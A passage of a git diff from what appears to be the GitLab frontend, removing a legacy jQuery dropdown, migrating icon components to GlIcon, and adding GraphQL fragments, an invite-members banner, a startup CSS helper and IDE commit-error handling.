- } else if (currentKeyCode === 38) {
- // Move up
- if (currentIndex > 0) {
- currentIndex -= 1;
- }
- }
- if (currentIndex !== PREV_INDEX) {
- this.highlightRowAtIndex($listItems, currentIndex);
- }
- return false;
- }
- if (currentKeyCode === 13 && currentIndex !== -1) {
- e.preventDefault();
- this.selectRowAtIndex();
- }
- });
- }
-
- // eslint-disable-next-line class-methods-use-this
- removeArrowKeyEvent() {
- return $('body').off('keydown');
- }
-
- resetRows() {
- currentIndex = -1;
- $('.is-focused', this.dropdown).removeClass('is-focused');
- }
-
- highlightRowAtIndex($listItems, index) {
- if (!$listItems) {
- // eslint-disable-next-line no-param-reassign
- $listItems = $(SELECTABLE_CLASSES, this.dropdown);
- }
-
- // Remove the class for the previously focused row
- $('.is-focused', this.dropdown).removeClass('is-focused');
- // Update the class for the row at the specific index
- const $listItem = $listItems.eq(index);
- $listItem.find('a:first-child').addClass('is-focused');
- // Dropdown content scroll area
- const $dropdownContent = $listItem.closest('.dropdown-content');
- const dropdownScrollTop = $dropdownContent.scrollTop();
- const dropdownContentHeight = $dropdownContent.outerHeight();
- const dropdownContentTop = $dropdownContent.prop('offsetTop');
- const dropdownContentBottom = dropdownContentTop + dropdownContentHeight;
- // Get the offset bottom of the list item
- const listItemHeight = $listItem.outerHeight();
- const listItemTop = $listItem.prop('offsetTop');
- const listItemBottom = listItemTop + listItemHeight;
- if (!index) {
- // Scroll the dropdown content to the top
- $dropdownContent.scrollTop(0);
- } else if (index === $listItems.length - 1) {
- // Scroll the dropdown content to the bottom
- $dropdownContent.scrollTop($dropdownContent.prop('scrollHeight'));
- } else if (listItemBottom > dropdownContentBottom + dropdownScrollTop) {
- // Scroll the dropdown content down
- $dropdownContent.scrollTop(
- listItemBottom - dropdownContentBottom + CURSOR_SELECT_SCROLL_PADDING,
- );
- } else if (listItemTop < dropdownContentTop + dropdownScrollTop) {
- // Scroll the dropdown content up
- return $dropdownContent.scrollTop(
- listItemTop - dropdownContentTop - CURSOR_SELECT_SCROLL_PADDING,
- );
- }
- }
-
- updateLabel(selected = null, el = null, instance = null) {
- let toggleText = this.options.toggleLabel(selected, el, instance);
- if (this.options.updateLabel) {
- // Option to override the dropdown label text
- toggleText = this.options.updateLabel;
- }
-
- return $(this.el)
- .find('.dropdown-toggle-text')
- .text(toggleText);
- }
-
- // eslint-disable-next-line class-methods-use-this
- clearField(field, isInput) {
- return isInput ? field.val('') : field.remove();
- }
-}
-
-// eslint-disable-next-line func-names
-$.fn.glDropdown = function(opts) {
- // eslint-disable-next-line func-names
- return this.each(function() {
- if (!$.data(this, 'glDropdown')) {
- return $.data(this, 'glDropdown', new GitLabDropdown(this, opts));
- }
- });
-};
diff --git a/app/assets/javascripts/gl_dropdown/render.js b/app/assets/javascripts/gl_dropdown/render.js
deleted file mode 100644
index 66546aa834f..00000000000
--- a/app/assets/javascripts/gl_dropdown/render.js
+++ /dev/null
@@ -1,158 +0,0 @@
-const renderersByType = {
- divider(element) {
- element.classList.add('divider');
-
- return element;
- },
- separator(element) {
- element.classList.add('separator');
-
- return element;
- },
- header(element, data) {
- element.classList.add('dropdown-header');
- element.innerHTML = data.content;
-
- return element;
- },
-};
-
-function getPropertyWithDefault(data, options, property, defaultValue = '') {
- let result;
-
- if (options[property] != null) {
- result = options[property](data);
- } else {
- result = data[property] != null ? data[property] : defaultValue;
- }
-
- return result;
-}
-
-function getHighlightTextBuilder(text, data, options) {
- if (options.highlight) {
- return data.template
- ? options.highlightTemplate(text, data.template)
- : options.highlightText(text);
- }
-
- return text;
-}
-
-function getIconTextBuilder(text, data, options) {
- if (options.icon) {
- const wrappedText = `<span>${text}</span>`;
- return data.icon ? `${data.icon}${wrappedText}` : wrappedText;
- }
-
- return text;
-}
-
-function getLinkText(data, options) {
- const text = getPropertyWithDefault(data, options, 'text');
-
- return [getHighlightTextBuilder, getIconTextBuilder].reduce(
- (acc, fn) => fn(acc, data, options),
- text,
- );
-}
-
-function escape(text) {
- return text ? String(text).replace(/'/g, "\\'") : text;
-}
-
-function getOptionValue(data, options) {
- if (options.renderRow) {
- return undefined;
- }
-
- return escape(options.id ? options.id(data) : data.id);
-}
-
-function shouldHide(data, { options }) {
- const value = getOptionValue(data, options);
-
- return options.hideRow && options.hideRow(value);
-}
-
-function hideElement(element) {
- element.style.display = 'none';
-
- return element;
-}
-
-function checkSelected(data, options) {
- const value = getOptionValue(data, options);
-
- if (!options.parent) {
- return !data.id;
- } else if (value) {
- return (
- options.parent.querySelector(`input[name='${options.fieldName}'][value='${value}']`) != null
- );
- }
-
- return options.parent.querySelector(`input[name='${options.fieldName}']`) == null;
-}
-
-function createLink(url, selected, options) {
- const link = document.createElement('a');
-
- link.href = url;
-
- if (options.icon) {
- link.classList.add('d-flex', 'align-items-center');
- }
-
- link.classList.toggle('is-active', selected);
-
- return link;
-}
-
-function assignTextToLink(el, data, options) {
- const text = getLinkText(data, options);
-
- if (options.icon || options.highlight) {
- el.innerHTML = text;
- } else {
- el.textContent = text;
- }
-
- return el;
-}
-
-function renderLink(row, data, { options, group, index }) {
- const selected = checkSelected(data, options);
- const url = getPropertyWithDefault(data, options, 'url', '#');
- const link = createLink(url, selected, options);
-
- assignTextToLink(link, data, options);
-
- if (group) {
- link.dataset.group = group;
- link.dataset.index = index;
- }
-
- row.appendChild(link);
-
- return row;
-}
-
-function getOptionRenderer({ options, instance }) {
- return options.renderRow && ((li, data) => options.renderRow(data, instance));
-}
-
-function getRenderer(data, params) {
- return renderersByType[data.type] || getOptionRenderer(params) || renderLink;
-}
-
-export default function item({ data, ...params }) {
- const renderer = getRenderer(data, params);
- const li = document.createElement('li');
-
- if (shouldHide(data, params)) {
- hideElement(li);
- }
-
- return renderer(li, data, params);
-}
diff --git a/app/assets/javascripts/gpg_badges.js b/app/assets/javascripts/gpg_badges.js
index 099c46f4b8d..e0f64c8e843 100644
--- a/app/assets/javascripts/gpg_badges.js
+++ b/app/assets/javascripts/gpg_badges.js
@@ -13,7 +13,8 @@ export default class GpgBadges {
const badges = $('.js-loading-gpg-badge');
- badges.html('<i class="fa fa-spinner fa-spin"></i>');
+ badges.html('<span class="gl-spinner gl-spinner-orange gl-spinner-sm"></span>');
+ badges.children().attr('aria-label', __('Loading'));
const displayError = () => createFlash(__('An error occurred while loading commit signatures'));
diff --git a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
index 59327e36f5f..79494cb173b 100644
--- a/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
+++ b/app/assets/javascripts/grafana_integration/components/grafana_integration.vue
@@ -1,7 +1,6 @@
<script>
-import { GlButton, GlFormGroup, GlFormInput, GlFormCheckbox } from '@gitlab/ui';
+import { GlButton, GlFormGroup, GlFormInput, GlFormCheckbox, GlIcon } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
@@ -9,7 +8,7 @@ export default {
GlFormCheckbox,
GlFormGroup,
GlFormInput,
- Icon,
+ GlIcon,
},
data() {
return { placeholderUrl: 'https://my-url.grafana.net/' };
@@ -89,7 +88,7 @@ export default {
rel="noopener noreferrer"
>
{{ __('More information') }}
- <icon name="external-link" class="vertical-align-middle" />
+ <gl-icon name="external-link" class="vertical-align-middle" />
</a>
</p>
</gl-form-group>
diff --git a/app/assets/javascripts/graphql_shared/fragments/author.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/author.fragment.graphql
index 9a2ff1c1648..0855ac2af45 100644
--- a/app/assets/javascripts/graphql_shared/fragments/author.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/author.fragment.graphql
@@ -1,4 +1,5 @@
fragment Author on User {
+ id
avatarUrl
name
username
diff --git a/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql
new file mode 100644
index 00000000000..286ebbd019e
--- /dev/null
+++ b/app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql
@@ -0,0 +1,10 @@
+fragment EpicNode on Epic {
+ id
+ iid
+ title
+ state
+ reference
+ webUrl
+ createdAt
+ closedAt
+}
diff --git a/app/assets/javascripts/graphql_shared/fragments/label.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/label.fragment.graphql
new file mode 100644
index 00000000000..1a2ea0bda1b
--- /dev/null
+++ b/app/assets/javascripts/graphql_shared/fragments/label.fragment.graphql
@@ -0,0 +1,7 @@
+fragment Label on Label {
+ id
+ title
+ description
+ color
+ textColor
+}
diff --git a/app/assets/javascripts/alert_management/graphql/mutations/alert_todo_mark_done.mutation.graphql b/app/assets/javascripts/graphql_shared/mutations/todo_mark_done.mutation.graphql
index 4d59b4d94cd..4d59b4d94cd 100644
--- a/app/assets/javascripts/alert_management/graphql/mutations/alert_todo_mark_done.mutation.graphql
+++ b/app/assets/javascripts/graphql_shared/mutations/todo_mark_done.mutation.graphql
diff --git a/app/assets/javascripts/groups/components/app.vue b/app/assets/javascripts/groups/components/app.vue
index 0b401f4d732..871f5c9a845 100644
--- a/app/assets/javascripts/groups/components/app.vue
+++ b/app/assets/javascripts/groups/components/app.vue
@@ -2,6 +2,7 @@
/* global Flash */
import $ from 'jquery';
+import 'vendor/jquery.scrollTo';
import { GlLoadingIcon } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
diff --git a/app/assets/javascripts/groups/components/group_item.vue b/app/assets/javascripts/groups/components/group_item.vue
index be90ba12678..44349b33386 100644
--- a/app/assets/javascripts/groups/components/group_item.vue
+++ b/app/assets/javascripts/groups/components/group_item.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlLoadingIcon, GlBadge } from '@gitlab/ui';
import { visitUrl } from '../../lib/utils/url_utility';
import tooltip from '../../vue_shared/directives/tooltip';
diff --git a/app/assets/javascripts/groups/components/invite_members_banner.vue b/app/assets/javascripts/groups/components/invite_members_banner.vue
new file mode 100644
index 00000000000..da7adab1d86
--- /dev/null
+++ b/app/assets/javascripts/groups/components/invite_members_banner.vue
@@ -0,0 +1,76 @@
+<script>
+import { GlBanner } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import { parseBoolean, setCookie, getCookie } from '~/lib/utils/common_utils';
+import Tracking from '~/tracking';
+
+const trackingMixin = Tracking.mixin();
+
+export default {
+ components: {
+ GlBanner,
+ },
+ mixins: [trackingMixin],
+ inject: ['svgPath', 'inviteMembersPath', 'isDismissedKey', 'trackLabel'],
+ data() {
+ return {
+ isDismissed: parseBoolean(getCookie(this.isDismissedKey)),
+ tracking: {
+ label: this.trackLabel,
+ },
+ };
+ },
+ created() {
+ this.$nextTick(() => {
+ this.addTrackingAttributesToButton();
+ });
+ },
+ mounted() {
+ this.trackOnShow();
+ },
+ methods: {
+ handleClose() {
+ setCookie(this.isDismissedKey, true);
+ this.isDismissed = true;
+ this.track(this.$options.dismissEvent);
+ },
+ trackOnShow() {
+ if (!this.isDismissed) this.track(this.$options.displayEvent);
+ },
+ addTrackingAttributesToButton() {
+ if (this.$refs.banner === undefined) return;
+
+ const button = this.$refs.banner.$el.querySelector(`[href='${this.inviteMembersPath}']`);
+
+ if (button) {
+ button.setAttribute('data-track-event', this.$options.buttonClickEvent);
+ button.setAttribute('data-track-label', this.trackLabel);
+ }
+ },
+ },
+ i18n: {
+ title: s__('InviteMembersBanner|Collaborate with your team'),
+ body: s__(
+ "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge.",
+ ),
+ button_text: s__('InviteMembersBanner|Invite your colleagues'),
+ },
+ displayEvent: 'invite_members_banner_displayed',
+ buttonClickEvent: 'invite_members_banner_button_clicked',
+ dismissEvent: 'invite_members_banner_dismissed',
+};
+</script>
+
+<template>
+ <gl-banner
+ v-if="!isDismissed"
+ ref="banner"
+ :title="$options.i18n.title"
+ :button-text="$options.i18n.button_text"
+ :svg-path="svgPath"
+ :button-link="inviteMembersPath"
+ @close="handleClose"
+ >
+ <p>{{ $options.i18n.body }}</p>
+ </gl-banner>
+</template>
diff --git a/app/assets/javascripts/groups/components/item_actions.vue b/app/assets/javascripts/groups/components/item_actions.vue
index ac4c12dda24..5487e25066e 100644
--- a/app/assets/javascripts/groups/components/item_actions.vue
+++ b/app/assets/javascripts/groups/components/item_actions.vue
@@ -1,12 +1,12 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
-import icon from '~/vue_shared/components/icon.vue';
import eventHub from '../event_hub';
import { COMMON_STR } from '../constants';
export default {
components: {
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -56,7 +56,7 @@ export default {
class="leave-group btn btn-xs no-expand gl-text-gray-500 gl-ml-5"
@click.prevent="onLeaveGroup"
>
- <icon name="leave" class="position-top-0" />
+ <gl-icon name="leave" class="position-top-0" />
</a>
<a
v-if="group.canEdit"
@@ -68,7 +68,7 @@ export default {
data-placement="bottom"
class="edit-group btn btn-xs no-expand gl-text-gray-500 gl-ml-5"
>
- <icon name="settings" class="position-top-0 align-middle" />
+ <gl-icon name="settings" class="position-top-0 align-middle" />
</a>
</div>
</template>
diff --git a/app/assets/javascripts/groups/components/item_caret.vue b/app/assets/javascripts/groups/components/item_caret.vue
index cd3e3de4cb4..e23b0fa7413 100644
--- a/app/assets/javascripts/groups/components/item_caret.vue
+++ b/app/assets/javascripts/groups/components/item_caret.vue
@@ -1,9 +1,9 @@
<script>
-import icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
export default {
components: {
- icon,
+ GlIcon,
},
props: {
isGroupOpen: {
@@ -21,5 +21,5 @@ export default {
</script>
<template>
- <span class="folder-caret gl-mr-2"> <icon :size="10" :name="iconClass" /> </span>
+ <span class="folder-caret gl-mr-2"> <gl-icon :size="10" :name="iconClass" /> </span>
</template>
diff --git a/app/assets/javascripts/groups/components/item_stats_value.vue b/app/assets/javascripts/groups/components/item_stats_value.vue
index 27b1c632643..18efd8c6823 100644
--- a/app/assets/javascripts/groups/components/item_stats_value.vue
+++ b/app/assets/javascripts/groups/components/item_stats_value.vue
@@ -1,10 +1,10 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
-import icon from '~/vue_shared/components/icon.vue';
export default {
components: {
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -57,6 +57,6 @@ export default {
:title="title"
data-container="body"
>
- <icon :name="iconName" /> <span v-if="isValuePresent" class="stat-value"> {{ value }} </span>
+ <gl-icon :name="iconName" /> <span v-if="isValuePresent" class="stat-value"> {{ value }} </span>
</span>
</template>
diff --git a/app/assets/javascripts/groups/components/item_type_icon.vue b/app/assets/javascripts/groups/components/item_type_icon.vue
index ae69fbd7bde..c3787c2df21 100644
--- a/app/assets/javascripts/groups/components/item_type_icon.vue
+++ b/app/assets/javascripts/groups/components/item_type_icon.vue
@@ -1,10 +1,10 @@
<script>
-import icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import { ITEM_TYPE } from '../constants';
export default {
components: {
- icon,
+ GlIcon,
},
props: {
itemType: {
@@ -29,5 +29,5 @@ export default {
</script>
<template>
- <span class="item-type-icon"> <icon :name="iconClass" /> </span>
+ <span class="item-type-icon"> <gl-icon :name="iconClass" /> </span>
</template>
diff --git a/app/assets/javascripts/groups/init_invite_members_banner.js b/app/assets/javascripts/groups/init_invite_members_banner.js
new file mode 100644
index 00000000000..c7967827917
--- /dev/null
+++ b/app/assets/javascripts/groups/init_invite_members_banner.js
@@ -0,0 +1,23 @@
+import Vue from 'vue';
+import InviteMembersBanner from '~/groups/components/invite_members_banner.vue';
+
+export default function initInviteMembersBanner() {
+ const el = document.querySelector('.js-group-invite-members-banner');
+
+ if (!el) {
+ return false;
+ }
+
+ const { svgPath, inviteMembersPath, isDismissedKey, trackLabel } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: {
+ svgPath,
+ inviteMembersPath,
+ isDismissedKey,
+ trackLabel,
+ },
+ render: createElement => createElement(InviteMembersBanner),
+ });
+}
diff --git a/app/assets/javascripts/groups/members/components/app.vue b/app/assets/javascripts/groups/members/components/app.vue
new file mode 100644
index 00000000000..e94b28f5773
--- /dev/null
+++ b/app/assets/javascripts/groups/members/components/app.vue
@@ -0,0 +1,11 @@
+<script>
+export default {
+ name: 'GroupMembersApp',
+};
+</script>
+
+<template>
+ <span>
+ <!-- Temporary empty template -->
+ </span>
+</template>
diff --git a/app/assets/javascripts/groups/members/index.js b/app/assets/javascripts/groups/members/index.js
new file mode 100644
index 00000000000..4ca1756f10c
--- /dev/null
+++ b/app/assets/javascripts/groups/members/index.js
@@ -0,0 +1,30 @@
+import Vue from 'vue';
+import Vuex from 'vuex';
+import App from './components/app.vue';
+import membersModule from '~/vuex_shared/modules/members';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+
+export default el => {
+ if (!el) {
+ return () => {};
+ }
+
+ Vue.use(Vuex);
+
+ const { members, groupId } = el.dataset;
+
+ const store = new Vuex.Store({
+ ...membersModule({
+ members: convertObjectPropsToCamelCase(JSON.parse(members), { deep: true }),
+ sourceId: parseInt(groupId, 10),
+ currentUserId: gon.current_user_id || null,
+ }),
+ });
+
+ return new Vue({
+ el,
+ components: { App },
+ store,
+ render: createElement => createElement('app'),
+ });
+};
diff --git a/app/assets/javascripts/groups/transfer_dropdown.js b/app/assets/javascripts/groups/transfer_dropdown.js
index e94b163dfb1..cefd803c631 100644
--- a/app/assets/javascripts/groups/transfer_dropdown.js
+++ b/app/assets/javascripts/groups/transfer_dropdown.js
@@ -1,5 +1,6 @@
import $ from 'jquery';
import { __ } from '~/locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class TransferDropdown {
constructor() {
@@ -16,7 +17,7 @@ export default class TransferDropdown {
buildDropdown() {
const extraOptions = [{ id: '-1', text: __('No parent group') }, { type: 'divider' }];
- this.groupDropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.groupDropdown, {
selectable: true,
filterable: true,
toggleLabel: item => item.text,
diff --git a/app/assets/javascripts/groups_select.js b/app/assets/javascripts/groups_select.js
index 4c50bb3a9ac..aac23db8fd6 100644
--- a/app/assets/javascripts/groups_select.js
+++ b/app/assets/javascripts/groups_select.js
@@ -97,7 +97,10 @@ const groupsSelect = () => {
});
};
-export default () =>
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(groupsSelect)
- .catch(() => {});
+export default () => {
+ if ($('.ajax-groups-select').length) {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(groupsSelect)
+ .catch(() => {});
+ }
+};
diff --git a/app/assets/javascripts/header.js b/app/assets/javascripts/header.js
index 3f9163e924d..b833cca1db6 100644
--- a/app/assets/javascripts/header.js
+++ b/app/assets/javascripts/header.js
@@ -2,9 +2,6 @@ import $ from 'jquery';
import Vue from 'vue';
import Translate from '~/vue_shared/translate';
import { highCountTrim } from '~/lib/utils/text_utility';
-import SetStatusModalTrigger from './set_status_modal/set_status_modal_trigger.vue';
-import SetStatusModalWrapper from './set_status_modal/set_status_modal_wrapper.vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
import Tracking from '~/tracking';
/**
@@ -17,7 +14,7 @@ import Tracking from '~/tracking';
export default function initTodoToggle() {
$(document).on('todo:toggle', (e, count) => {
const updatedCount = count || e?.detail?.count || 0;
- const $todoPendingCount = $('.todos-count');
+ const $todoPendingCount = $('.js-todos-count');
$todoPendingCount.text(highCountTrim(updatedCount));
$todoPendingCount.toggleClass('hidden', updatedCount === 0);
@@ -26,51 +23,43 @@ export default function initTodoToggle() {
function initStatusTriggers() {
const setStatusModalTriggerEl = document.querySelector('.js-set-status-modal-trigger');
- const setStatusModalWrapperEl = document.querySelector('.js-set-status-modal-wrapper');
- if (setStatusModalTriggerEl || setStatusModalWrapperEl) {
- Vue.use(Translate);
+ if (setStatusModalTriggerEl) {
+ setStatusModalTriggerEl.addEventListener('click', () => {
+ import(
+ /* webpackChunkName: 'statusModalBundle' */ './set_status_modal/set_status_modal_wrapper.vue'
+ )
+ .then(({ default: SetStatusModalWrapper }) => {
+ const setStatusModalWrapperEl = document.querySelector('.js-set-status-modal-wrapper');
+ const statusModalElement = document.createElement('div');
+ setStatusModalWrapperEl.appendChild(statusModalElement);
- // eslint-disable-next-line no-new
- new Vue({
- el: setStatusModalTriggerEl,
- data() {
- const { hasStatus } = this.$options.el.dataset;
+ Vue.use(Translate);
- return {
- hasStatus: parseBoolean(hasStatus),
- };
- },
- render(createElement) {
- return createElement(SetStatusModalTrigger, {
- props: {
- hasStatus: this.hasStatus,
- },
- });
- },
- });
-
- // eslint-disable-next-line no-new
- new Vue({
- el: setStatusModalWrapperEl,
- data() {
- const { currentEmoji, currentMessage } = this.$options.el.dataset;
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: statusModalElement,
+ data() {
+ const { currentEmoji, currentMessage } = setStatusModalWrapperEl.dataset;
- return {
- currentEmoji,
- currentMessage,
- };
- },
- render(createElement) {
- const { currentEmoji, currentMessage } = this;
+ return {
+ currentEmoji,
+ currentMessage,
+ };
+ },
+ render(createElement) {
+ const { currentEmoji, currentMessage } = this;
- return createElement(SetStatusModalWrapper, {
- props: {
- currentEmoji,
- currentMessage,
- },
- });
- },
+ return createElement(SetStatusModalWrapper, {
+ props: {
+ currentEmoji,
+ currentMessage,
+ },
+ });
+ },
+ });
+ })
+ .catch(() => {});
});
}
}
@@ -101,5 +90,5 @@ export function initNavUserDropdownTracking() {
document.addEventListener('DOMContentLoaded', () => {
requestIdleCallback(initStatusTriggers);
- initNavUserDropdownTracking();
+ requestIdleCallback(initNavUserDropdownTracking);
});
diff --git a/app/assets/javascripts/helpers/startup_css_helper.js b/app/assets/javascripts/helpers/startup_css_helper.js
new file mode 100644
index 00000000000..8e25e1421c0
--- /dev/null
+++ b/app/assets/javascripts/helpers/startup_css_helper.js
@@ -0,0 +1,46 @@
+const CSS_LOADED_EVENT = 'CSSLoaded';
+const STARTUP_LINK_LOADED_EVENT = 'CSSStartupLinkLoaded';
+
+const getAllStartupLinks = (() => {
+ let links = null;
+ return () => {
+ if (!links) {
+ links = Array.from(document.querySelectorAll('link[data-startupcss]'));
+ }
+ return links;
+ };
+})();
+const isStartupLinkLoaded = ({ dataset }) => dataset.startupcss === 'loaded';
+const allLinksLoaded = () => getAllStartupLinks().every(isStartupLinkLoaded);
+
+const handleStartupEvents = () => {
+ if (allLinksLoaded()) {
+ document.dispatchEvent(new CustomEvent(CSS_LOADED_EVENT));
+ document.removeEventListener(STARTUP_LINK_LOADED_EVENT, handleStartupEvents);
+ }
+};
+
+/* Wait for.... The methods can be used:
+ - with a callback (preferred),
+ waitFor(action)
+
+ - with then (discouraged),
+ await waitFor().then(action);
+
+ - with await,
+ await waitFor;
+ action();
+-*/
+export const waitForCSSLoaded = (action = () => {}) => {
+ if (!gon.features.startupCss || allLinksLoaded()) {
+ return new Promise(resolve => {
+ action();
+ resolve();
+ });
+ }
+
+ return new Promise(resolve => {
+ document.addEventListener(CSS_LOADED_EVENT, resolve, { once: true });
+ document.addEventListener(STARTUP_LINK_LOADED_EVENT, handleStartupEvents);
+ }).then(action);
+};
diff --git a/app/assets/javascripts/ide/components/activity_bar.vue b/app/assets/javascripts/ide/components/activity_bar.vue
index a65af55fcac..183816921c1 100644
--- a/app/assets/javascripts/ide/components/activity_bar.vue
+++ b/app/assets/javascripts/ide/components/activity_bar.vue
@@ -1,13 +1,13 @@
<script>
import $ from 'jquery';
import { mapActions, mapState } from 'vuex';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
import { leftSidebarViews } from '../constants';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -44,11 +44,12 @@ export default {
:aria-label="s__('IDE|Edit')"
data-container="body"
data-placement="right"
+ data-qa-selector="edit_mode_tab"
type="button"
class="ide-sidebar-link js-ide-edit-mode"
@click.prevent="changedActivityView($event, $options.leftSidebarViews.edit.name)"
>
- <icon name="code" />
+ <gl-icon name="code" />
</button>
</li>
<li>
@@ -65,7 +66,7 @@ export default {
class="ide-sidebar-link js-ide-review-mode"
@click.prevent="changedActivityView($event, $options.leftSidebarViews.review.name)"
>
- <icon name="file-modified" />
+ <gl-icon name="file-modified" />
</button>
</li>
<li>
@@ -78,11 +79,12 @@ export default {
:aria-label="s__('IDE|Commit')"
data-container="body"
data-placement="right"
+ data-qa-selector="commit_mode_tab"
type="button"
- class="ide-sidebar-link js-ide-commit-mode qa-commit-mode-tab"
+ class="ide-sidebar-link js-ide-commit-mode"
@click.prevent="changedActivityView($event, $options.leftSidebarViews.commit.name)"
>
- <icon name="commit" />
+ <gl-icon name="commit" />
</button>
</li>
</ul>
diff --git a/app/assets/javascripts/ide/components/branches/item.vue b/app/assets/javascripts/ide/components/branches/item.vue
index 49744d573da..2fe435b92ab 100644
--- a/app/assets/javascripts/ide/components/branches/item.vue
+++ b/app/assets/javascripts/ide/components/branches/item.vue
@@ -1,11 +1,11 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import Timeago from '~/vue_shared/components/time_ago_tooltip.vue';
export default {
components: {
- Icon,
+ GlIcon,
Timeago,
},
props: {
@@ -34,7 +34,7 @@ export default {
<template>
<a :href="branchHref" class="btn-link d-flex align-items-center">
<span class="d-flex gl-mr-3 ide-search-list-current-icon">
- <icon v-if="isActive" :size="18" name="mobile-issue-close" />
+ <gl-icon v-if="isActive" :size="18" name="mobile-issue-close" />
</span>
<span>
<strong> {{ item.name }} </strong>
diff --git a/app/assets/javascripts/ide/components/branches/search_list.vue b/app/assets/javascripts/ide/components/branches/search_list.vue
index dd2d726d525..c317fadb656 100644
--- a/app/assets/javascripts/ide/components/branches/search_list.vue
+++ b/app/assets/javascripts/ide/components/branches/search_list.vue
@@ -1,14 +1,13 @@
<script>
import { mapActions, mapState } from 'vuex';
import { debounce } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import Item from './item.vue';
export default {
components: {
Item,
- Icon,
+ GlIcon,
GlLoadingIcon,
},
data() {
@@ -67,7 +66,7 @@ export default {
class="form-control dropdown-input-field"
@input="searchBranches"
/>
- <icon :size="18" name="search" class="ml-3 input-icon" />
+ <gl-icon :size="18" name="search" class="ml-3 input-icon" />
</label>
<div class="dropdown-content ide-merge-requests-dropdown-content d-flex">
<gl-loading-icon
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/actions.vue b/app/assets/javascripts/ide/components/commit_sidebar/actions.vue
index 407e4c57cd8..de4b0a34002 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/actions.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/actions.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escape } from 'lodash';
import { mapState, mapGetters, createNamespacedHelpers } from 'vuex';
import { sprintf, s__ } from '~/locale';
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/form.vue b/app/assets/javascripts/ide/components/commit_sidebar/form.vue
index 9342ab87c1a..73c56514fce 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/form.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/form.vue
@@ -1,6 +1,6 @@
<script>
import { mapState, mapActions, mapGetters } from 'vuex';
-import { GlModal } from '@gitlab/ui';
+import { GlModal, GlSafeHtmlDirective } from '@gitlab/ui';
import { n__, __ } from '~/locale';
import LoadingButton from '~/vue_shared/components/loading_button.vue';
import CommitMessageField from './message_field.vue';
@@ -8,6 +8,7 @@ import Actions from './actions.vue';
import SuccessMessage from './success_message.vue';
import { leftSidebarViews, MAX_WINDOW_HEIGHT_COMPACT } from '../../constants';
import consts from '../../stores/modules/commit/constants';
+import { createUnexpectedCommitError } from '../../lib/errors';
export default {
components: {
@@ -17,15 +18,20 @@ export default {
SuccessMessage,
GlModal,
},
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
data() {
return {
isCompact: true,
componentHeight: null,
+ // Keep track of "lastCommitError" so we hold onto the value even when "commitError" is cleared.
+ lastCommitError: createUnexpectedCommitError(),
};
},
computed: {
...mapState(['changedFiles', 'stagedFiles', 'currentActivityView', 'lastCommitMsg']),
- ...mapState('commit', ['commitMessage', 'submitCommitLoading']),
+ ...mapState('commit', ['commitMessage', 'submitCommitLoading', 'commitError']),
...mapGetters(['someUncommittedChanges']),
...mapGetters('commit', ['discardDraftButtonDisabled', 'preBuiltCommitMessage']),
overviewText() {
@@ -38,11 +44,28 @@ export default {
currentViewIsCommitView() {
return this.currentActivityView === leftSidebarViews.commit.name;
},
+ commitErrorPrimaryAction() {
+ if (!this.lastCommitError?.canCreateBranch) {
+ return undefined;
+ }
+
+ return {
+ text: __('Create new branch'),
+ };
+ },
},
watch: {
currentActivityView: 'handleCompactState',
someUncommittedChanges: 'handleCompactState',
lastCommitMsg: 'handleCompactState',
+ commitError(val) {
+ if (!val) {
+ return;
+ }
+
+ this.lastCommitError = val;
+ this.$refs.commitErrorModal.show();
+ },
},
methods: {
...mapActions(['updateActivityBarView']),
@@ -53,9 +76,7 @@ export default {
'updateCommitAction',
]),
commit() {
- return this.commitChanges().catch(() => {
- this.$refs.createBranchModal.show();
- });
+ return this.commitChanges();
},
forceCreateNewBranch() {
